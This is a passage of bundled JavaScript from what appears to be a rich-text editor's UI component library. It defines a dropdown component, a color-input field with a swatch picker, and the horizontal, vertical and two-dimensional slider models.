}); }; var makeSandbox$1 = function (detail, hotspot, extras) { var ariaOwner = manager(); var onOpen = function (component, menu) { var anchor = getAnchor(detail, hotspot); ariaOwner.link(hotspot.element); if (detail.matchWidth) { matchWidth(anchor.hotspot, menu, detail.useMinWidth); } detail.onOpen(anchor, component, menu); if (extras !== undefined && extras.onOpen !== undefined) { extras.onOpen(component, menu); } }; var onClose = function (component, menu) { ariaOwner.unlink(hotspot.element); if (extras !== undefined && extras.onClose !== undefined) { extras.onClose(component, menu); } }; var lazySink = getSink(hotspot, detail); return { dom: { tag: 'div', classes: detail.sandboxClasses, attributes: { id: ariaOwner.id, role: 'listbox' } }, behaviours: SketchBehaviours.augment(detail.sandboxBehaviours, [ Representing.config({ store: { mode: 'memory', initialValue: hotspot } }), Sandboxing.config({ onOpen: onOpen, onClose: onClose, isPartOf: function (container, data, queryElem) { return isPartOf$1(data, queryElem) || isPartOf$1(hotspot, queryElem); }, getAttachPoint: function () { return lazySink().getOrDie(); } }), Composing.config({ find: function (sandbox) { return Sandboxing.getState(sandbox).bind(function (menu) { return Composing.getCurrent(menu); }); } }), Receiving.config({ channels: __assign(__assign({}, receivingChannel$1({ isExtraPart: never })), receivingChannel({ doReposition: doRepositionMenus })) }) ]) }; }; var repositionMenus = function (comp) { var sandbox = Coupling.getCoupled(comp, 'sandbox'); doRepositionMenus(sandbox); }; var sandboxFields = function () { return [ defaulted('sandboxClasses', []), SketchBehaviours.field('sandboxBehaviours', [ Composing, Receiving, Sandboxing, Representing ]) ]; }; var schema$j = constant$1([ required$1('dom'), required$1('fetch'), onHandler('onOpen'), onKeyboardHandler('onExecute'), defaulted('getHotspot', Optional.some), defaulted('getAnchorOverrides', constant$1({})), schema$y(), field('dropdownBehaviours', [ Toggling, Coupling, Keying, Focusing ]), required$1('toggleClass'), defaulted('eventOrder', {}), option('lazySink'), defaulted('matchWidth', false), defaulted('useMinWidth', false), option('role') ].concat(sandboxFields())); var parts$d = constant$1([ external$1({ schema: [tieredMenuMarkers()], name: 'menu', defaults: function (detail) { return { onExecute: detail.onExecute }; } }), partType$1() ]); var factory$g = function (detail, components, _spec, externals) { var _a; var lookupAttr = function (attr) { return get$e(detail.dom, 'attributes').bind(function (attrs) { return get$e(attrs, attr); }); }; var switchToMenu = function (sandbox) { Sandboxing.getState(sandbox).each(function (tmenu) { tieredMenu.highlightPrimary(tmenu); }); }; var action = function (component) { var onOpenSync = switchToMenu; togglePopup(detail, identity$1, component, externals, onOpenSync, HighlightOnOpen.HighlightFirst).get(noop); }; var apis = { expand: function (comp) { if (!Toggling.isOn(comp)) { togglePopup(detail, identity$1, comp, externals, noop, HighlightOnOpen.HighlightNone).get(noop); } }, open: function (comp) { if (!Toggling.isOn(comp)) { togglePopup(detail, identity$1, comp, externals, noop, HighlightOnOpen.HighlightFirst).get(noop); } }, isOpen: Toggling.isOn, close: function (comp) { if (Toggling.isOn(comp)) { togglePopup(detail, identity$1, comp, externals, noop, HighlightOnOpen.HighlightFirst).get(noop); } }, repositionMenus: function (comp) { if (Toggling.isOn(comp)) { repositionMenus(comp); } } }; var triggerExecute = function (comp, _se) { emitExecute(comp); return Optional.some(true); }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.dropdownBehaviours, [ Toggling.config({ toggleClass: detail.toggleClass, aria: { mode: 'expanded' } }), Coupling.config({ others: { sandbox: function (hotspot) { return makeSandbox$1(detail, hotspot, { onOpen: function () { return Toggling.on(hotspot); }, onClose: function () { return Toggling.off(hotspot); } }); } } }), Keying.config({ mode: 'special', onSpace: triggerExecute, onEnter: triggerExecute, onDown: function (comp, _se) { if (Dropdown.isOpen(comp)) { var sandbox = Coupling.getCoupled(comp, 'sandbox'); switchToMenu(sandbox); } else { Dropdown.open(comp); } return Optional.some(true); }, onEscape: function (comp, _se) { if (Dropdown.isOpen(comp)) { Dropdown.close(comp); return Optional.some(true); } else { return Optional.none(); } } }), Focusing.config({}) ]), events: events$a(Optional.some(action)), eventOrder: __assign(__assign({}, detail.eventOrder), (_a = {}, _a[execute$5()] = [ 'disabling', 'toggling', 'alloy.base.behaviour' ], _a)), apis: apis, domModification: { attributes: __assign(__assign({ 'aria-haspopup': 'true' }, detail.role.fold(function () { return {}; }, function (role) { return { role: role }; })), detail.dom.tag === 'button' ? { type: lookupAttr('type').getOr('button') } : {}) } }; }; var Dropdown = composite({ name: 'Dropdown', configFields: schema$j(), partFields: parts$d(), factory: factory$g, apis: { open: function (apis, comp) { return apis.open(comp); }, expand: function (apis, comp) { return apis.expand(comp); }, close: function (apis, comp) { return apis.close(comp); }, isOpen: function (apis, comp) { return apis.isOpen(comp); }, repositionMenus: function (apis, comp) { return apis.repositionMenus(comp); } } }); var exhibit$1 = function () { return nu$7({ styles: { '-webkit-user-select': 'none', 'user-select': 'none', '-ms-user-select': 'none', '-moz-user-select': '-moz-none' }, attributes: { unselectable: 'on' } }); }; var events$7 = function () { return derive$2([abort(selectstart(), always)]); }; var ActiveUnselecting = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$7, exhibit: exhibit$1 }); var Unselecting = create$7({ fields: [], name: 'unselecting', active: ActiveUnselecting }); var renderPanelButton = function (spec, sharedBackstage) { return Dropdown.sketch({ dom: spec.dom, components: spec.components, toggleClass: 'mce-active', dropdownBehaviours: derive$1([ DisablingConfigs.button(sharedBackstage.providers.isDisabled), receivingConfig(), Unselecting.config({}), Tabstopping.config({}) ]), layouts: spec.layouts, sandboxClasses: ['tox-dialog__popups'], lazySink: sharedBackstage.getSink, fetch: function (comp) { return Future.nu(function (callback) { return spec.fetch(callback); }).map(function (items) { return Optional.from(createTieredDataFrom(deepMerge(createPartialChoiceMenu(generate$6('menu-value'), items, function (value) { spec.onItemAction(comp, value); }, spec.columns, spec.presets, ItemResponse$1.CLOSE_ON_EXECUTE, never, sharedBackstage.providers), { movement: deriveMenuMovement(spec.columns, spec.presets) }))); }); }, parts: { menu: part(false, 1, spec.presets) } }); }; var colorInputChangeEvent = generate$6('color-input-change'); var colorSwatchChangeEvent = generate$6('color-swatch-change'); var colorPickerCancelEvent = generate$6('color-picker-cancel'); var renderColorInput = function (spec, sharedBackstage, colorInputBackstage) { var pField = FormField.parts.field({ factory: Input, inputClasses: ['tox-textfield'], onSetValue: function (c) { return Invalidating.run(c).get(noop); }, inputBehaviours: derive$1([ Disabling.config({ disabled: sharedBackstage.providers.isDisabled }), receivingConfig(), Tabstopping.config({}), Invalidating.config({ invalidClass: 'tox-textbox-field-invalid', getRoot: function (comp) { return parent(comp.element); }, notify: { onValid: function (comp) { var val = Representing.getValue(comp); emitWith(comp, colorInputChangeEvent, { color: val }); } }, validator: { validateOnLoad: false, validate: function (input) { var inputValue = Representing.getValue(input); if (inputValue.length === 0) { return Future.pure(Result.value(true)); } else { var span = SugarElement.fromTag('span'); set$7(span, 'background-color', inputValue); var res = getRaw(span, 'background-color').fold(function () { return Result.error('blah'); }, function (_) { return Result.value(inputValue); }); return Future.pure(res); } } } }) ]), selectOnFocus: false }); var pLabel = spec.label.map(function (label) { return renderLabel$2(label, sharedBackstage.providers); }); var emitSwatchChange = function (colorBit, value) { emitWith(colorBit, colorSwatchChangeEvent, { value: value }); }; var onItemAction = function (comp, value) { memColorButton.getOpt(comp).each(function (colorBit) { if (value === 'custom') { colorInputBackstage.colorPicker(function (valueOpt) { valueOpt.fold(function () { return emit(colorBit, colorPickerCancelEvent); }, function (value) { emitSwatchChange(colorBit, value); addColor(value); }); }, '#ffffff'); } else if (value === 'remove') { emitSwatchChange(colorBit, ''); } else { emitSwatchChange(colorBit, value); } }); }; var memColorButton = record(renderPanelButton({ dom: { tag: 'span', attributes: { 'aria-label': sharedBackstage.providers.translate('Color swatch') } }, layouts: { onRtl: function () { return [ southwest$2, southeast$2, south$2 ]; }, onLtr: function () { return [ southeast$2, southwest$2, south$2 ]; } }, components: [], fetch: getFetch$1(colorInputBackstage.getColors(), colorInputBackstage.hasCustomColors()), columns: colorInputBackstage.getColorCols(), presets: 'color', onItemAction: onItemAction }, sharedBackstage)); return FormField.sketch({ dom: { tag: 'div', classes: ['tox-form__group'] }, components: pLabel.toArray().concat([{ dom: { tag: 'div', classes: ['tox-color-input'] }, components: [ pField, memColorButton.asSpec() ] }]), fieldBehaviours: derive$1([config('form-field-events', [ run$1(colorInputChangeEvent, function (comp, se) { memColorButton.getOpt(comp).each(function (colorButton) { set$7(colorButton.element, 'background-color', se.event.color); }); emitWith(comp, formChangeEvent, { name: spec.name }); }), run$1(colorSwatchChangeEvent, function (comp, se) { FormField.getField(comp).each(function (field) { Representing.setValue(field, se.event.value); Composing.getCurrent(comp).each(Focusing.focus); }); }), run$1(colorPickerCancelEvent, function (comp, _se) { FormField.getField(comp).each(function (_field) { Composing.getCurrent(comp).each(Focusing.focus); }); }) ])]) }); }; var labelPart = optional({ schema: [required$1('dom')], name: 'label' }); var edgePart = function (name) { return optional({ name: '' + name + '-edge', overrides: function (detail) { var action = detail.model.manager.edgeActions[name]; return action.fold(function () { return {}; }, function (a) { return { events: derive$2([ runActionExtra(touchstart(), function (comp, se, d) { return a(comp, d); }, [detail]), runActionExtra(mousedown(), function (comp, se, d) { return a(comp, d); }, [detail]), runActionExtra(mousemove(), function (comp, se, det) { if (det.mouseIsDown.get()) { a(comp, det); } }, [detail]) ]) }; }); } }); }; var tlEdgePart = edgePart('top-left'); var tedgePart = edgePart('top'); var trEdgePart = edgePart('top-right'); var redgePart = edgePart('right'); var brEdgePart = edgePart('bottom-right'); var bedgePart = edgePart('bottom'); var blEdgePart = edgePart('bottom-left'); var ledgePart = edgePart('left'); var thumbPart = required({ name: 'thumb', defaults: constant$1({ dom: { styles: { position: 'absolute' } } }), overrides: function (detail) { return { events: derive$2([ redirectToPart(touchstart(), detail, 'spectrum'), redirectToPart(touchmove(), detail, 'spectrum'), redirectToPart(touchend(), detail, 'spectrum'), redirectToPart(mousedown(), detail, 'spectrum'), redirectToPart(mousemove(), detail, 'spectrum'), redirectToPart(mouseup(), detail, 'spectrum') ]) }; } }); var spectrumPart = required({ schema: [customField('mouseIsDown', function () { return Cell(false); })], name: 'spectrum', overrides: function (detail) { var modelDetail = detail.model; var model = modelDetail.manager; var setValueFrom = function (component, simulatedEvent) { return model.getValueFromEvent(simulatedEvent).map(function (value) { return model.setValueFrom(component, detail, value); }); }; return { behaviours: derive$1([ Keying.config({ mode: 'special', onLeft: function (spectrum) { return model.onLeft(spectrum, detail); }, onRight: function (spectrum) { return model.onRight(spectrum, detail); }, onUp: function (spectrum) { return model.onUp(spectrum, detail); }, onDown: function (spectrum) { return model.onDown(spectrum, detail); } }), Focusing.config({}) ]), events: derive$2([ run$1(touchstart(), setValueFrom), run$1(touchmove(), setValueFrom), run$1(mousedown(), setValueFrom), run$1(mousemove(), function (spectrum, se) { if (detail.mouseIsDown.get()) { setValueFrom(spectrum, se); } }) ]) }; } }); var SliderParts = [ labelPart, ledgePart, redgePart, tedgePart, bedgePart, tlEdgePart, trEdgePart, blEdgePart, brEdgePart, thumbPart, spectrumPart ]; var _sliderChangeEvent = 'slider.change.value'; var sliderChangeEvent = constant$1(_sliderChangeEvent); var isTouchEvent$2 = function (evt) { return evt.type.indexOf('touch') !== -1; }; var getEventSource = function (simulatedEvent) { var evt = simulatedEvent.event.raw; if (isTouchEvent$2(evt)) { var touchEvent = evt; return touchEvent.touches !== undefined && touchEvent.touches.length === 1 ? Optional.some(touchEvent.touches[0]).map(function (t) { return SugarPosition(t.clientX, t.clientY); }) : Optional.none(); } else { var mouseEvent = evt; return mouseEvent.clientX !== undefined ? Optional.some(mouseEvent).map(function (me) { return SugarPosition(me.clientX, me.clientY); }) : Optional.none(); } }; var t = 'top', r = 'right', b = 'bottom', l = 'left'; var minX = function (detail) { return detail.model.minX; }; var minY = function (detail) { return detail.model.minY; }; var min1X = function (detail) { return detail.model.minX - 1; }; var min1Y = function (detail) { return detail.model.minY - 1; }; var maxX = function (detail) { return detail.model.maxX; }; var maxY = function (detail) { return detail.model.maxY; }; var max1X = function (detail) { return detail.model.maxX + 1; }; var max1Y = function (detail) { return detail.model.maxY + 1; }; var range = function (detail, max, min) { return max(detail) - min(detail); }; var xRange = function (detail) { return range(detail, maxX, minX); }; var yRange = function (detail) { return range(detail, maxY, minY); }; var halfX = function (detail) { return xRange(detail) / 2; }; var halfY = function (detail) { return yRange(detail) / 2; }; var step = function (detail) { return detail.stepSize; }; var snap = function (detail) { return detail.snapToGrid; }; var snapStart = function (detail) { return detail.snapStart; }; var rounded = function (detail) { return detail.rounded; }; var hasEdge = function (detail, edgeName) { return detail[edgeName + '-edge'] !== undefined; }; var hasLEdge = function (detail) { return hasEdge(detail, l); }; var hasREdge = function (detail) { return hasEdge(detail, r); }; var hasTEdge = function (detail) { return hasEdge(detail, t); }; var hasBEdge = function (detail) { return hasEdge(detail, b); }; var currentValue = function (detail) { return detail.model.value.get(); }; var xValue = function (x) { return { x: x }; }; var yValue = function (y) { return { y: y }; }; var xyValue = function (x, y) { return { x: x, y: y }; }; var fireSliderChange$3 = function (component, value) { emitWith(component, sliderChangeEvent(), { value: value }); }; var setToTLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), min1Y(detail))); }; var setToTEdge = function (edge, detail) { fireSliderChange$3(edge, yValue(min1Y(detail))); }; var setToTEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(halfX(detail), min1Y(detail))); }; var setToTREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), min1Y(detail))); }; var setToREdge = function (edge, detail) { fireSliderChange$3(edge, xValue(max1X(detail))); }; var setToREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), halfY(detail))); }; var setToBREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), max1Y(detail))); }; var setToBEdge = function (edge, detail) { fireSliderChange$3(edge, yValue(max1Y(detail))); }; var setToBEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(halfX(detail), max1Y(detail))); }; var setToBLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), max1Y(detail))); }; var setToLEdge = function (edge, detail) { fireSliderChange$3(edge, xValue(min1X(detail))); }; var setToLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), halfY(detail))); }; var reduceBy = function (value, min, max, step) { if (value < min) { return value; } else if (value > max) { return max; } else if (value === min) { return min - 1; } else { return Math.max(min, value - step); } }; var increaseBy = function (value, min, max, step) { if (value > max) { return value; } else if (value < min) { return min; } else if (value === max) { return max + 1; } else { return Math.min(max, value + step); } }; var capValue = function (value, min, max) { return Math.max(min, Math.min(max, value)); }; var snapValueOf = function (value, min, max, step, snapStart) { return snapStart.fold(function () { var initValue = value - min; var extraValue = Math.round(initValue / step) * step; return capValue(min + extraValue, min - 1, max + 1); }, function (start) { var remainder = (value - start) % step; var adjustment = Math.round(remainder / step); var rawSteps = Math.floor((value - start) / step); var maxSteps = Math.floor((max - start) / step); var numSteps = Math.min(maxSteps, rawSteps + adjustment); var r = start + numSteps * step; return Math.max(start, r); }); }; var findOffsetOf = function (value, min, max) { return Math.min(max, Math.max(value, min)) - min; }; var findValueOf = function (args) { var min = args.min, max = args.max, range = args.range, value = args.value, step = args.step, snap = args.snap, snapStart = args.snapStart, rounded = args.rounded, hasMinEdge = args.hasMinEdge, hasMaxEdge = args.hasMaxEdge, minBound = args.minBound, maxBound = args.maxBound, screenRange = args.screenRange; var capMin = hasMinEdge ? min - 1 : min; var capMax = hasMaxEdge ? max + 1 : max; if (value < minBound) { return capMin; } else if (value > maxBound) { return capMax; } else { var offset = findOffsetOf(value, minBound, maxBound); var newValue = capValue(offset / screenRange * range + min, capMin, capMax); if (snap && newValue >= min && newValue <= max) { return snapValueOf(newValue, min, max, step, snapStart); } else if (rounded) { return Math.round(newValue); } else { return newValue; } } }; var findOffsetOfValue$2 = function (args) { var min = args.min, max = args.max, range = args.range, value = args.value, hasMinEdge = args.hasMinEdge, hasMaxEdge = args.hasMaxEdge, maxBound = args.maxBound, maxOffset = args.maxOffset, centerMinEdge = args.centerMinEdge, centerMaxEdge = args.centerMaxEdge; if (value < min) { return hasMinEdge ? 0 : centerMinEdge; } else if (value > max) { return hasMaxEdge ? maxBound : centerMaxEdge; } else { return (value - min) / range * maxOffset; } }; var top = 'top', right = 'right', bottom = 'bottom', left = 'left', width = 'width', height = 'height'; var getBounds = function (component) { return component.element.dom.getBoundingClientRect(); }; var getBoundsProperty = function (bounds, property) { return bounds[property]; }; var getMinXBounds = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, left); }; var getMaxXBounds = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, right); }; var getMinYBounds = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, top); }; var getMaxYBounds = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, bottom); }; var getXScreenRange = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, width); }; var getYScreenRange = function (component) { var bounds = getBounds(component); return getBoundsProperty(bounds, height); }; var getCenterOffsetOf = function (componentMinEdge, componentMaxEdge, spectrumMinEdge) { return (componentMinEdge + componentMaxEdge) / 2 - spectrumMinEdge; }; var getXCenterOffSetOf = function (component, spectrum) { var componentBounds = getBounds(component); var spectrumBounds = getBounds(spectrum); var componentMinEdge = getBoundsProperty(componentBounds, left); var componentMaxEdge = getBoundsProperty(componentBounds, right); var spectrumMinEdge = getBoundsProperty(spectrumBounds, left); return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge); }; var getYCenterOffSetOf = function (component, spectrum) { var componentBounds = getBounds(component); var spectrumBounds = getBounds(spectrum); var componentMinEdge = getBoundsProperty(componentBounds, top); var componentMaxEdge = getBoundsProperty(componentBounds, bottom); var spectrumMinEdge = getBoundsProperty(spectrumBounds, top); return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge); }; var fireSliderChange$2 = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue$2 = function (x) { return { x: x }; }; var findValueOfOffset$1 = function (spectrum, detail, left) { var args = { min: minX(detail), max: maxX(detail), range: xRange(detail), value: left, step: step(detail), snap: snap(detail), snapStart: snapStart(detail), rounded: rounded(detail), hasMinEdge: hasLEdge(detail), hasMaxEdge: hasREdge(detail), minBound: getMinXBounds(spectrum), maxBound: getMaxXBounds(spectrum), screenRange: getXScreenRange(spectrum) }; return findValueOf(args); }; var setValueFrom$2 = function (spectrum, detail, value) { var xValue = findValueOfOffset$1(spectrum, detail, value); var sliderVal = sliderValue$2(xValue); fireSliderChange$2(spectrum, sliderVal); return xValue; }; var setToMin$2 = function (spectrum, detail) { var min = minX(detail); fireSliderChange$2(spectrum, sliderValue$2(min)); }; var setToMax$2 = function (spectrum, detail) { var max = maxX(detail); fireSliderChange$2(spectrum, sliderValue$2(max)); }; var moveBy$2 = function (direction, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var xValue = f(currentValue(detail).x, minX(detail), maxX(detail), step(detail)); fireSliderChange$2(spectrum, sliderValue$2(xValue)); return Optional.some(xValue); }; var handleMovement$2 = function (direction) { return function (spectrum, detail) { return moveBy$2(direction, spectrum, detail).map(always); }; }; var getValueFromEvent$2 = function (simulatedEvent) { var pos = getEventSource(simulatedEvent); return pos.map(function (p) { return p.left; }); }; var findOffsetOfValue$1 = function (spectrum, detail, value, minEdge, maxEdge) { var minOffset = 0; var maxOffset = getXScreenRange(spectrum); var centerMinEdge = minEdge.bind(function (edge) { return Optional.some(getXCenterOffSetOf(edge, spectrum)); }).getOr(minOffset); var centerMaxEdge = maxEdge.bind(function (edge) { return Optional.some(getXCenterOffSetOf(edge, spectrum)); }).getOr(maxOffset); var args = { min: minX(detail), max: maxX(detail), range: xRange(detail), value: value, hasMinEdge: hasLEdge(detail), hasMaxEdge: hasREdge(detail), minBound: getMinXBounds(spectrum), minOffset: minOffset, maxBound: getMaxXBounds(spectrum), maxOffset: maxOffset, centerMinEdge: centerMinEdge, centerMaxEdge: centerMaxEdge }; return findOffsetOfValue$2(args); }; var findPositionOfValue$1 = function (slider, spectrum, value, minEdge, maxEdge, detail) { var offset = findOffsetOfValue$1(spectrum, detail, value, minEdge, maxEdge); return getMinXBounds(spectrum) - getMinXBounds(slider) + offset; }; var setPositionFromValue$2 = function (slider, thumb, detail, edges) { var value = currentValue(detail); var pos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value.x, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail); var thumbRadius = get$a(thumb.element) / 2; set$7(thumb.element, 'left', pos - thumbRadius + 'px'); }; var onLeft$2 = handleMovement$2(-1); var onRight$2 = handleMovement$2(1); var onUp$2 = Optional.none; var onDown$2 = Optional.none; var edgeActions$2 = { 'top-left': Optional.none(), 'top': Optional.none(), 'top-right': Optional.none(), 'right': Optional.some(setToREdge), 'bottom-right': Optional.none(), 'bottom': Optional.none(), 'bottom-left': Optional.none(), 'left': Optional.some(setToLEdge) }; var HorizontalModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom$2, setToMin: setToMin$2, setToMax: setToMax$2, findValueOfOffset: findValueOfOffset$1, getValueFromEvent: getValueFromEvent$2, findPositionOfValue: findPositionOfValue$1, setPositionFromValue: setPositionFromValue$2, onLeft: onLeft$2, onRight: onRight$2, onUp: onUp$2, onDown: onDown$2, edgeActions: edgeActions$2 }); var fireSliderChange$1 = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue$1 = function (y) { return { y: y }; }; var findValueOfOffset = function (spectrum, detail, top) { var args = { min: minY(detail), max: maxY(detail), range: yRange(detail), value: top, step: step(detail), snap: snap(detail), snapStart: snapStart(detail), rounded: rounded(detail), hasMinEdge: hasTEdge(detail), hasMaxEdge: hasBEdge(detail), minBound: getMinYBounds(spectrum), maxBound: getMaxYBounds(spectrum), screenRange: getYScreenRange(spectrum) }; return findValueOf(args); }; var setValueFrom$1 = function (spectrum, detail, value) { var yValue = findValueOfOffset(spectrum, detail, value); var sliderVal = sliderValue$1(yValue); fireSliderChange$1(spectrum, sliderVal); return yValue; }; var setToMin$1 = function (spectrum, detail) { var min = minY(detail); fireSliderChange$1(spectrum, sliderValue$1(min)); }; var setToMax$1 = function (spectrum, detail) { var max = maxY(detail); fireSliderChange$1(spectrum, sliderValue$1(max)); }; var moveBy$1 = function (direction, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var yValue = f(currentValue(detail).y, minY(detail), maxY(detail), step(detail)); fireSliderChange$1(spectrum, sliderValue$1(yValue)); return Optional.some(yValue); }; var handleMovement$1 = function (direction) { return function (spectrum, detail) { return moveBy$1(direction, spectrum, detail).map(always); }; }; var getValueFromEvent$1 = function (simulatedEvent) { var pos = getEventSource(simulatedEvent); return pos.map(function (p) { return p.top; }); }; var findOffsetOfValue = function (spectrum, detail, value, minEdge, maxEdge) { var minOffset = 0; var maxOffset = getYScreenRange(spectrum); var centerMinEdge = minEdge.bind(function (edge) { return Optional.some(getYCenterOffSetOf(edge, spectrum)); }).getOr(minOffset); var centerMaxEdge = maxEdge.bind(function (edge) { return Optional.some(getYCenterOffSetOf(edge, spectrum)); }).getOr(maxOffset); var args = { min: minY(detail), max: maxY(detail), range: yRange(detail), value: value, hasMinEdge: hasTEdge(detail), hasMaxEdge: hasBEdge(detail), minBound: getMinYBounds(spectrum), minOffset: minOffset, maxBound: getMaxYBounds(spectrum), maxOffset: maxOffset, centerMinEdge: centerMinEdge, centerMaxEdge: centerMaxEdge }; return findOffsetOfValue$2(args); }; var findPositionOfValue = function (slider, spectrum, value, minEdge, maxEdge, detail) { var offset = findOffsetOfValue(spectrum, detail, value, minEdge, maxEdge); return getMinYBounds(spectrum) - getMinYBounds(slider) + offset; }; var setPositionFromValue$1 = function (slider, thumb, detail, edges) { var value = currentValue(detail); var pos = findPositionOfValue(slider, edges.getSpectrum(slider), value.y, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail); var thumbRadius = get$b(thumb.element) / 2; set$7(thumb.element, 'top', pos - thumbRadius + 'px'); }; var onLeft$1 = Optional.none; var onRight$1 = Optional.none; var onUp$1 = handleMovement$1(-1); var onDown$1 = handleMovement$1(1); var edgeActions$1 = { 'top-left': Optional.none(), 'top': Optional.some(setToTEdge), 'top-right': Optional.none(), 'right': Optional.none(), 'bottom-right': Optional.none(), 'bottom': Optional.some(setToBEdge), 'bottom-left': Optional.none(), 'left': Optional.none() }; var VerticalModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom$1, setToMin: setToMin$1, setToMax: setToMax$1, findValueOfOffset: findValueOfOffset, getValueFromEvent: getValueFromEvent$1, findPositionOfValue: findPositionOfValue, setPositionFromValue: setPositionFromValue$1, onLeft: onLeft$1, onRight: onRight$1, onUp: onUp$1, onDown: onDown$1, edgeActions: edgeActions$1 }); var fireSliderChange = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue = function (x, y) { return { x: x, y: y }; }; var setValueFrom = function (spectrum, detail, value) { var xValue = findValueOfOffset$1(spectrum, detail, value.left); var yValue = findValueOfOffset(spectrum, detail, value.top); var val = sliderValue(xValue, yValue); fireSliderChange(spectrum, val); return val; }; var moveBy = function (direction, isVerticalMovement, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var xValue = isVerticalMovement ? currentValue(detail).x : f(currentValue(detail).x, minX(detail), maxX(detail), step(detail)); var yValue = !isVerticalMovement ? currentValue(detail).y : f(currentValue(detail).y, minY(detail), maxY(detail), step(detail)); fireSliderChange(spectrum, sliderValue(xValue, yValue)); return Optional.some(xValue); }; var handleMovement = function (direction, isVerticalMovement) { return function (spectrum, detail) { return moveBy(direction, isVerticalMovement, spectrum, detail).map(always); }; }; var setToMin = function (spectrum, detail) { var mX = minX(detail); var mY = minY(detail); fireSliderChange(spectrum, sliderValue(mX, mY)); }; var setToMax = function (spectrum, detail) { var mX = maxX(detail); var mY = maxY(detail); fireSliderChange(spectrum, sliderValue(mX, mY)); }; var getValueFromEvent = function (simulatedEvent) { return getEventSource(simulatedEvent); }; var setPositionFromValue = function (slider, thumb, detail, edges) { var value = currentValue(detail); var xPos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value.x, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail); var yPos = findPositionOfValue(slider, edges.getSpectrum(slider), value.y, edges.getTopEdge(slider), edges.getBottomEdge(slider), detail); var thumbXRadius = get$a(thumb.element) / 2; var thumbYRadius = get$b(thumb.element) / 2; set$7(thumb.element, 'left', xPos - thumbXRadius + 'px'); set$7(thumb.element, 'top', yPos - thumbYRadius + 'px'); }; var onLeft = handleMovement(-1, false); var onRight = handleMovement(1, false); var onUp = handleMovement(-1, true); var onDown = handleMovement(1, true); var edgeActions = { 'top-left': Optional.some(setToTLEdgeXY), 'top': Optional.some(setToTEdgeXY), 'top-right': Optional.some(setToTREdgeXY), 'right': Optional.some(setToREdgeXY), 'bottom-right': Optional.some(setToBREdgeXY), 'bottom': Optional.some(setToBEdgeXY), 'bottom-left': Optional.some(setToBLEdgeXY), 'left': Optional.some(setToLEdgeXY) }; var TwoDModel = /*#__PURE__*/Object.freeze({ __proto__: null, setValueFrom: setValueFrom, setToMin: setToMin, setToMax: setToMax, getValueFromEvent: getValueFromEvent, setPositionFromValue: setPositionFromValue, onLeft: onLeft, onRight: onRight, onUp: onUp, onDown: onDown, edgeActions: edgeActions }); var SliderSchema = [ defaulted('stepSize', 1), defaulted('onChange', noop), defaulted('onChoose', noop), defaulted('onInit', noop), defaulted('onDragStart', noop), defaulted('onDragEnd', noop), defaulted('snapToGrid', false), defaulted('rounded', true), option('snapStart'), requiredOf('model', choose$1('mode', { x: [ defaulted('minX', 0), defaulted('maxX', 100), customField('value', function (spec) { return Cell(spec.mode.minX); }), required$1('getInitialValue'), output$1('manager', HorizontalModel) ], y: [ defaulted('minY', 0), defaulted('maxY', 100), customField('value', function (spec) { return Cell(spec.mode.minY); }), required$1('getInitialValue'), output$1('manager', VerticalModel) ], xy: [ defaulted('minX', 0), defaulted('maxX', 100), defaulted('minY', 0), defaulted('maxY', 100), customField('value', function (spec) { return Cell({ x: spec.mode.minX, y: spec.mode.minY }); }), required$1('getInitialValue'), output$1('manager', TwoDModel) ] })), field('sliderBehaviours', [ Keying, Representing ]), customField('mouseIsDown', function () { return Cell(false); }) ]; var sketch$2 = function (detail, components, _spec, _externals) { var _a; var getThumb = function (component) { return getPartOrDie(component, detail, 'thumb'); }; var getSpectrum = function (component) { return getPartOrDie(component, detail, 'spectrum'); }; var getLeftEdge = function (component) { return getPart(component, detail, 'left-edge'); }; var getRightEdge = function (component) { return getPart(component, detail, 'right-edge'); }; var getTopEdge = function (component) { return getPart(component, detail, 'top-edge'); }; var getBottomEdge = function (component) { return getPart(component, detail, 'bottom-edge'); }; var modelDetail = detail.model; var model = modelDetail.manager; var refresh = function (slider, thumb) { model.setPositionFromValue(slider, thumb, detail, { getLeftEdge: getLeftEdge, getRightEdge: getRightEdge, getTopEdge: getTopEdge, getBottomEdge: getBottomEdge, getSpectrum: getSpectrum }); }; var setValue = function (slider, newValue) { modelDetail.value.set(newValue); var thumb = getThumb(slider); refresh(slider, thumb); }; var changeValue = function (slider, newValue) { setValue(slider, newValue); var thumb = getThumb(slider); detail.onChange(slider, thumb, newValue); return Optional.some(true); }; var resetToMin = function (slider) { model.setToMin(slider, detail); }; var resetToMax = function (slider) { model.setToMax(slider, detail); }; var choose = function (slider) { var fireOnChoose = function () { getPart(slider, detail, 'thumb').each(function (thumb) { var value = 